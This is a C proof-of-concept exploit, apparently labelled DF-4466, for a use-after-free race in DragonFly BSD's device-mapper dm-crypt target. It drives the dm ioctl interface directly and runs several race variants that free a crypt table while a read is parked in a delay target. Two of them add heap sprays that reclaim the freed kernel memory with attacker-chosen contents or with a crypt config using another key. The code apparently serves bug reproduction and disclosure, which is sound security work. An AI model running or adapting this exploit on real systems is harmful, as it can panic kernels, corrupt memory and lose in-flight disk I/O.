/*
 * DF-4466 PoC: dm-crypt async completion vs table destroy UAF
 *
 * Drives the DragonFly device-mapper proplib ioctl interface directly
 * (no libdevmapper needed) and runs two race variants:
 *
 *   variant A ("delay"):  stack  crypt -> delay(5s) -> vn0
 *                         one in-flight read is held inside the delay
 *                         target while suspend+reload+resume destroys the
 *                         crypt table; when the delay expires the bio
 *                         completes into freed priv  => UAF.
 *
 *   variant B ("hammer"): write hammer on  crypt -> vn0 while
 *                         suspend+reload+resume loops destroy live tables
 *                         => mpipe_done KKASSERT panic / UAF.
 *
 * Build: cc -o dmrace dmrace.c
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

struct plistref {
	void   *pref_plist;
	size_t  pref_len;
};

#define DM_IOCTL_CMD 0
#define NETBSD_DM_IOCTL _IOWR(0xfd, DM_IOCTL_CMD, struct plistref)

static int ctlfd = -1;

static int
dm_ioctl_xml(const char *xml, char **reply)
{
	struct plistref pref;
	char *buf;
	int error, saved;

	buf = strdup(xml);
	if (buf == NULL)
		return (-1);
	pref.pref_plist = buf;
	pref.pref_len = strlen(buf) + 1;

	error = ioctl(ctlfd, NETBSD_DM_IOCTL, &pref);
	saved = errno;
	if (error == 0 && reply != NULL) {
		/* kernel mmap'ed the externalized reply at pref.pref_plist */
		*reply = strdup((char *)pref.pref_plist);
	}
	if (error != 0 && getenv("DMDEBUG"))
		printf("[dmioctl rc=%d errno=%d] %s\n", error, saved, xml);
	errno = saved;
	free(buf);
	return (error);
}

static const char *KEY256 =
	"0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef";

static char xmlbuf[8192];

static int
dm_create(const char *name)
{
	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>create</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer></dict></plist>", name);
	return (dm_ioctl_xml(xmlbuf, NULL));
}

static int
dm_suspend(const char *name)
{
	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>suspend</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer></dict></plist>", name);
	return (dm_ioctl_xml(xmlbuf, NULL));
}

static int
dm_resume(const char *name)
{
	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>resume</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer></dict></plist>", name);
	return (dm_ioctl_xml(xmlbuf, NULL));
}

static int
dm_remove(const char *name)
{
	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>remove</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer></dict></plist>", name);
	return (dm_ioctl_xml(xmlbuf, NULL));
}

/* load a table entry into the inactive slot */
static int
dm_load(const char *name, const char *type, uint64_t start, uint64_t length,
    const char *params)
{
	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>reload</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer>"
	    "<key>cmd_data</key><array><dict>"
	    "<key>type</key><string>%s</string>"
	    "<key>start</key><integer>0x%llx</integer>"
	    "<key>length</key><integer>0x%llx</integer>"
	    "<key>params</key><string>%s</string>"
	    "</dict></array></dict></plist>",
	    name, type, (unsigned long long)start,
	    (unsigned long long)length, params);
	return (dm_ioctl_xml(xmlbuf, NULL));
}

static int
dm_status(const char *name)
{
	char *reply = NULL;
	int rc;

	snprintf(xmlbuf, sizeof(xmlbuf),
	    "<plist><dict><key>command</key><string>info</string>"
	    "<key>version</key><array><integer>0x4</integer>"
	    "<integer>0x10</integer><integer>0x0</integer></array>"
	    "<key>name</key><string>%s</string>"
	    "<key>flags</key><integer>0x0</integer></dict></plist>", name);
	rc = dm_ioctl_xml(xmlbuf, &reply);
	if (rc == 0 && reply) {
		printf("[info %s] %s\n", name, reply);
		free(reply);
	} else {
		printf("[info %s] rc=%d errno=%d\n", name, rc, errno);
	}
	return (rc);
}

static const char *g_dev;
static volatile int g_stop;
static volatile int g_writes;
static volatile int g_errors;
static volatile int g_ready;
static volatile int g_go;
static volatile int reader_done;
static double now_s(void);
static void setup_stack(const char *delaydev, const char *cryptdev,
    const char *pdev, uint64_t nsectors, int delay_ms);

/* blocked read; completes ~5s later into (hopefully freed) priv */
static void *
reader(void *arg)
{
	char buf[512];
	int fd;
	ssize_t n;

	fd = open(g_dev, O_RDONLY);
	if (fd < 0) {
		printf("[reader] open %s: %s\n", g_dev, strerror(errno));
		return (NULL);
	}
	/* warm-up: open() label probe + first read eat the first delay round */
	n = pread(fd, buf, sizeof(buf), 512);
	printf("[reader %.1fs] warmup pread n=%zd\n", now_s(), n);
	fflush(stdout);
	g_ready = 1;
	while (!g_go)
		usleep(1000);

	printf("[reader %.1fs] REAL pread dispatched (held ~5s in delay)\n",
	    now_s());
	fflush(stdout);
	n = pread(fd, buf, sizeof(buf), 0);
	printf("[reader %.1fs] pread returned %zd errno=%d "
	    "(0x%02x%02x%02x%02x...)\n", now_s(), n, errno,
	    buf[0] & 0xff, buf[1] & 0xff, buf[2] & 0xff, buf[3] & 0xff);
	fflush(stdout);
	reader_done = 1;
	close(fd);
	return (NULL);
}

static double
now_s(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

static double t0;

static int
variant_a(const char *pdev, uint64_t nsectors)
{
	pthread_t t;
	char params[512];

	setup_stack("dl0", "cd0", pdev, nsectors, 5000);
	g_dev = "/dev/mapper/cd0";
	t0 = now_s();

	/* fire the read that will be stuck 5s inside the delay target */
	pthread_create(&t, NULL, reader, NULL);
	while (!g_ready)
		usleep(1000);
	g_go = 1;
	sleep(1);	/* bio now parked in the delay target queue */

	printf("[race %.1fs] suspending cd0 (kernel: flag only, no quiesce)\n",
	    now_s() - t0);
	dm_suspend("cd0");

	/* reload identical table into the inactive slot */
	snprintf(params, sizeof(params),
	    "aes-cbc-essiv:sha256 %s 0 /dev/mapper/dl0 0", KEY256);
	if (dm_load("cd0", "crypt", 0, nsectors, params) != 0)
		printf("[race] reload failed\n");

	printf("[race %.1fs] resuming cd0 => dm_table_destroy frees OLD crypt "
	    "priv while our read bio is parked in the delay queue\n",
	    now_s() - t0);
	fflush(stdout);
	dm_resume("cd0");
	printf("[race %.1fs] resume returned; old priv kfree'd. "
	    "Delay fires at ~+5s ...\n", now_s() - t0);
	fflush(stdout);

	pthread_join(t, NULL);
	printf("[race %.1fs] reader joined WITHOUT visible crash - "
	    "check console/dmesg for corruption side effects\n", now_s() - t0);
	return (0);
}

static void *
writer(void *arg)
{
	char *buf;
	int fd;
	long id = (long)arg;
	int i;

	buf = aligned_alloc(4096, 128 * 1024);
	memset(buf, (int)(0x41 + id), 128 * 1024);
	fd = open(g_dev, O_WRONLY);
	if (fd < 0) {
		printf("[writer%ld] open: %s\n", id, strerror(errno));
		return (NULL);
	}
	while (!g_stop) {
		for (i = 0; i < 16; i++) {
			if (pwrite(fd, buf, 128 * 1024,
			    ((id * 16 + i) % 64) * 128 * 1024) < 0)
				g_errors++;
			else
				g_writes++;
		}
	}
	close(fd);
	free(buf);
	return (NULL);
}

static void
setup_stack(const char *delaydev, const char *cryptdev, const char *pdev,
    uint64_t nsectors, int delay_ms)
{
	char params[512];

	/* delay target on the raw vn disk */
	snprintf(params, sizeof(params), "%s 0 %d", pdev, delay_ms);
	if (dm_create(delaydev) != 0) { printf("create %s failed\n", delaydev); exit(1); }
	if (dm_load(delaydev, "delay", 0, nsectors, params) != 0) { printf("load delay failed\n"); exit(1); }
	if (dm_resume(delaydev) != 0) { printf("resume delay failed\n"); exit(1); }

	/* crypt target on top of the delay dm device */
	snprintf(params, sizeof(params),
	    "aes-cbc-essiv:sha256 %s 0 /dev/mapper/%s 0", KEY256, delaydev);
	if (dm_create(cryptdev) != 0) { printf("create %s failed\n", cryptdev); exit(1); }
	if (dm_load(cryptdev, "crypt", 0, nsectors, params) != 0) { printf("load crypt failed\n"); exit(1); }
	if (dm_resume(cryptdev) != 0) { printf("resume crypt failed\n"); exit(1); }
	printf("[setup] %s (crypt) -> %s (delay %dms) -> %s\n",
	    cryptdev, delaydev, delay_ms, pdev);
}


/*
 * Variant C: deterministic.
 *   stack:  cd0 (crypt) -> dl0 (delay 5s) -> vn0
 *   - open cd0 twice (is_open is a plain flag, not a refcount)
 *   - dispatch one read; it parks 5s inside the delay target
 *   - close the second fd (clears is_open), then DM_DEV_REMOVE
 *     => dm_table_destroy(ACTIVE) with NO probe-wait and NO drain
 *   - 5s later the bio completes into freed priv  => UAF
 */
static int
variant_c(const char *pdev, uint64_t nsectors, int hammer)
{
	pthread_t t, w[4];
	char params[512];
	int i, fd2;

	setup_stack("dl0", "cd0", pdev, nsectors, 5000);
	g_dev = "/dev/mapper/cd0";
	t0 = now_s();

	/*
	 * second fd to clear is_open while the reader keeps its fd open
	 */
	fd2 = open(g_dev, O_RDONLY);
	if (fd2 < 0)
		printf("[C] extra open failed: %s\n", strerror(errno));

	if (hammer) {
		g_stop = 0;
		for (i = 0; i < 4; i++)
			pthread_create(&w[i], NULL, writer, (void *)(long)i);
	}

	pthread_create(&t, NULL, reader, NULL);
	while (!g_ready)
		usleep(1000);
	g_go = 1;
	sleep(1);	/* real read now parked in the delay queue */

	printf("[C %.1fs] closing dup fd (clears dmv->is_open flag)\n",
	    now_s() - t0);
	close(fd2);

	printf("[C %.1fs] DM_DEV_REMOVE cd0 => disable_dev+dm_table_destroy "
	    "free the crypt priv NOW (no probe wait, no drain)\n",
	    now_s() - t0);
	fflush(stdout);
	{
		int rc = dm_remove("cd0");
		printf("[C] remove rc=%d errno=%d\n", rc, errno);
	}
	printf("[C %.1fs] remove returned; priv freed. "
	    "Completion expected at ~+5s ...\n", now_s() - t0);
	fflush(stdout);

	if (hammer) {
		sleep(6);
		g_stop = 1;
		for (i = 0; i < 4; i++)
			pthread_join(w[i], NULL);
	}
	pthread_join(t, NULL);
	printf("[C %.1fs] reader joined; no visible crash this run - "
	    "check console\n", now_s() - t0);
	return (0);
}

/*
 * Variant E: like C, but immediately after the remove we create another
 * crypt device (cd1, DIFFERENT key) so the freed priv chunk is reclaimed
 * by a fresh dm_target_crypt_config.  The parked read then completes
 * through cd1's config: wrong session, wrong key, cross-instance mpipe.
 */
static int
variant_e(const char *pdev, uint64_t nsectors)
{
	pthread_t t;
	char params[512];
	int fd2;

	setup_stack("dl0", "cd0", pdev, nsectors, 5000);
	g_dev = "/dev/mapper/cd0";
	t0 = now_s();

	fd2 = open(g_dev, O_RDONLY);

	pthread_create(&t, NULL, reader, NULL);
	while (!g_ready)
		usleep(1000);
	g_go = 1;
	sleep(1);

	close(fd2);
	printf("[E %.1fs] removing cd0 (priv freed)\n", now_s() - t0);
	{
		int rc = dm_remove("cd0");
		printf("[E] remove rc=%d errno=%d\n", rc, errno);
	}

	/* reclaim: fresh crypt device with a DIFFERENT key, several tries */
	{
		const char *key2 =
		    "fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210";
		int i;

		for (i = 0; i < 4; i++) {
			char nm[8];
			snprintf(nm, sizeof(nm), "cx%d", i);
			if (dm_create(nm) == 0) {
				snprintf(params, sizeof(params),
				    "aes-cbc-essiv:sha256 %s 0 %s 0", key2, pdev);
				dm_load(nm, "crypt", 0, nsectors, params);
				dm_resume(nm);
			}
		}
	}
	printf("[E %.1fs] sprayed 4 fresh crypt configs (key2)\n", now_s() - t0);
	fflush(stdout);

	pthread_join(t, NULL);
	for (;;) {
		int i;
		for (i = 0; i < 4; i++) {
			char nm[8];
			snprintf(nm, sizeof(nm), "cx%d", i);
			dm_remove(nm);
		}
		break;
	}
	return (0);
}


/*
 * Variant F: THE deterministic construction.
 *
 *   old table:  cd0 = crypt -> dl0 (delay 12s) -> vn0
 *   new table:  cd0 = crypt -> vn0 (direct, fast)
 *
 *   t=0    reader dispatches a read; it parks 12s inside dl0's delay queue
 *   t=1    suspend cd0; reload cd0 with the FAST table; resume:
 *          - dm_table_switch_tables
 *          - dmsetdiskinfo: label probe now goes through the FAST table,
 *            disk_config() returns almost immediately
 *          - dm_table_destroy(INACTIVE) frees the OLD crypt priv
 *   t=12   delay fires; the bio completes into the freed priv => UAF
 *          (mpipe_alloc_callback on freed memory, STAILQ inserts into a
 *          dead mpipe, bio either never completes or completes through
 *          reclaimed memory)
 *
 * spray: 0 = none, 1 = junk prop-string chunks into the freed bucket,
 *        2 = fresh valid crypt configs to reclaim the chunk
 */
static int
variant_f(const char *pdev, uint64_t nsectors, int spray)
{
	pthread_t t;
	char params[512];
	int i;

	/* delay device */
	if (dm_create("dl0") != 0) { printf("create dl0 failed\n"); exit(1); }
	snprintf(params, sizeof(params), "%s 0 12000", pdev);
	if (dm_load("dl0", "delay", 0, nsectors, params) != 0) { printf("load delay failed\n"); exit(1); }
	if (dm_resume("dl0") != 0) { printf("resume delay failed\n"); exit(1); }

	/* crypt on top of the delay device (OLD, slow table) */
	if (dm_create("cd0") != 0) { printf("create cd0 failed\n"); exit(1); }
	snprintf(params, sizeof(params),
	    "aes-cbc-essiv:sha256 %s 0 /dev/mapper/dl0 0", KEY256);
	if (dm_load("cd0", "crypt", 0, nsectors, params) != 0) { printf("load crypt failed\n"); exit(1); }
	if (dm_resume("cd0") != 0) { printf("resume crypt failed\n"); exit(1); }
	printf("[F] cd0 = crypt -> dl0 (12s delay) -> %s\n", pdev);

	g_dev = "/dev/mapper/cd0";
	t0 = now_s();

	pthread_create(&t, NULL, reader, NULL);
	while (!g_ready)
		usleep(1000);
	g_go = 1;
	sleep(1);

	printf("[F %.1fs] suspend + reload FAST table (crypt->%s direct) + "
	    "resume => probe is fast, OLD priv freed NOW\n", now_s() - t0,
	    pdev);
	dm_suspend("cd0");
	snprintf(params, sizeof(params),
	    "aes-cbc-essiv:sha256 %s 0 %s 0", KEY256, pdev);
	if (dm_load("cd0", "crypt", 0, nsectors, params) != 0)
		printf("[F] reload failed\n");
	dm_resume("cd0");
	printf("[F %.1fs] resume returned => OLD crypt priv is freed; "
	    "bio completes at ~+12s into freed memory\n", now_s() - t0);
	fflush(stdout);

	if (spray == 1) {
		/* junk-fill the ~1k kmalloc bucket with ASCII via param strs */
		for (i = 0; i < 24; i++) {
			char junk[1600];
			int n = snprintf(junk, sizeof(junk),
			    "linear /dev/vn0 0 ");
			memset(junk + n, 0x41 + (i % 26), 800);
			junk[n + 800] = 0;
			/* invalid table -> allocs+ Frees strings+entry, churning
			   the bucket with controlled content */
			dm_create("jk0");
			dm_load("jk0", "crypt", 0, nsectors, junk);
			dm_remove("jk0");
		}
		printf("[F %.1fs] junk spray done\n", now_s() - t0);
	} else if (spray == 2) {
		const char *key2 =
		    "fedcba9876543210fedcba9876543210fedcba9876543210fedcba9876543210";
		for (i = 0; i < 6; i++) {
			char nm[8];
			snprintf(nm, sizeof(nm), "cx%d", i);
			if (dm_create(nm) == 0) {
				snprintf(params, sizeof(params),
				    "aes-cbc-essiv:sha256 %s 0 %s 0", key2, pdev);
				dm_load(nm, "crypt", 0, nsectors, params);
				dm_resume(nm);
			}
		}
		printf("[F %.1fs] valid-config spray done (key2)\n", now_s() - t0);
	}
	fflush(stdout);

	/* reader prints when/if the bio completes; give it 30s */
	for (i = 0; i < 30 && !reader_done; i++) {
		usleep(1000 * 1000);
		printf("[F %.1fs] waiting for completion... (%d)\n",
		    now_s() - t0, i);
		fflush(stdout);
	}
	if (!reader_done) {
		printf("[F] READER BIO NEVER COMPLETED within 30s: "
		    "in-flight bio lost to destroyed table (permanent hang)\n");
		fflush(stdout);
	}
	return (0);
}

static int
variant_b(const char *pdev, uint64_t nsectors, int seconds)
{
	pthread_t w[4];
	char params[512];
	int i, iter;
	long id;

	/* no delay here: crypt straight on the disk */
	if (dm_create("cd0") != 0) { printf("create cd0 failed\n"); exit(1); }
	snprintf(params, sizeof(params),
	    "aes-cbc-essiv:sha256 %s 0 %s 0", KEY256, pdev);
	if (dm_load("cd0", "crypt", 0, nsectors, params) != 0) { printf("load crypt failed\n"); exit(1); }
	if (dm_resume("cd0") != 0) { printf("resume crypt failed\n"); exit(1); }

	g_dev = "/dev/mapper/cd0";
	g_stop = 0;
	for (i = 0; i < 4; i++)
		pthread_create(&w[i], NULL, writer, (void *)(long)i);

	for (iter = 0; iter < seconds; iter++) {
		sleep(1);
		dm_suspend("cd0");
		dm_load("cd0", "crypt", 0, nsectors, params);
		dm_resume("cd0");
		printf("[iter %d] suspend+reload+resume done "
		    "(writes=%d errors=%d)\n", iter, g_writes, g_errors);
		fflush(stdout);
	}
	g_stop = 1;
	for (i = 0; i < 4; i++)
		pthread_join(w[i], NULL);
	printf("[hammer] stopped. writes=%d errors=%d "
	    "(if we got here, no panic this round)\n", g_writes, g_errors);
	return (0);
}

int
main(int argc, char **argv)
{
	const char *cmd, *pdev;
	uint64_t nsectors;

	if (argc < 3) {
		fprintf(stderr, "usage: dmrace A|B|C|D|remove <pdev> "
		    "[nsectors] [seconds]\n");
		return (2);
	}
	cmd = argv[1];
	pdev = argv[2];
	nsectors = (argc > 3) ? strtoull(argv[3], NULL, 0) : 131072;

	ctlfd = open("/dev/mapper/control", O_RDWR);
	if (ctlfd < 0) {
		perror("open /dev/mapper/control");
		return (1);
	}

	if (strcmp(cmd, "A") == 0)
		return (variant_a(pdev, nsectors));
	if (strcmp(cmd, "B") == 0)
		return (variant_b(pdev, nsectors, argc > 4 ? atoi(argv[4]) : 15));
	if (strcmp(cmd, "C") == 0)
		return (variant_c(pdev, nsectors, 0));
	if (strcmp(cmd, "D") == 0)
		return (variant_c(pdev, nsectors, 1));
	if (strcmp(cmd, "E") == 0)
		return (variant_e(pdev, nsectors));
	if (strncmp(cmd, "F", 1) == 0)
		return (variant_f(pdev, nsectors,
		    cmd[1] ? atoi(cmd + 1) : 0));
	if (strcmp(cmd, "remove") == 0) {
		dm_remove("cd0");
		dm_remove("dl0");
		dm_remove("xt0");
		return (0);
	}
	if (strcmp(cmd, "status") == 0) {
		dm_status("cd0");
		dm_status("dl0");
		return (0);
	}
	fprintf(stderr, "unknown cmd %s\n", cmd);
	return (2);
}